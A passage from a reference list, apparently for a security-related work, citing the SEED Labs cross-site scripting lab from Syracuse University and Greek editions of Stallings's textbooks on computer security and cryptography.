- [18] Jim Wenliang Du, *Syracuse University*. (SEED Labs) [Cross-Site Scripting (XSS) Attack Lab], 2006-2016,

[https://seedsecuritylabs.org/Labs\\_16.04/PDF/Web\\_XSS\\_Elgg.pdf](https://seedsecuritylabs.org/Labs_16.04/PDF/Web_XSS_Elgg.pdf)

- [19] WILLIAM STALLINGS and LAWRIE BROWN. *[Ασφάλεια υπολογιστών - Αρχές και πρακτικές]*. 3η αμερικάνικη εκδοσή, ΕΚΔΟΣΕΙΣ ΚΛΕΙΔΑΡΙΘΜΟΣ ΕΠΕ.
- [20] Stallings William. *[Κρυπτογραφία και Ασφάλεια Δικτύων Αρχές και Εφαρμογές]*. Εκδοτικός Όμιλος ΙΩΝ.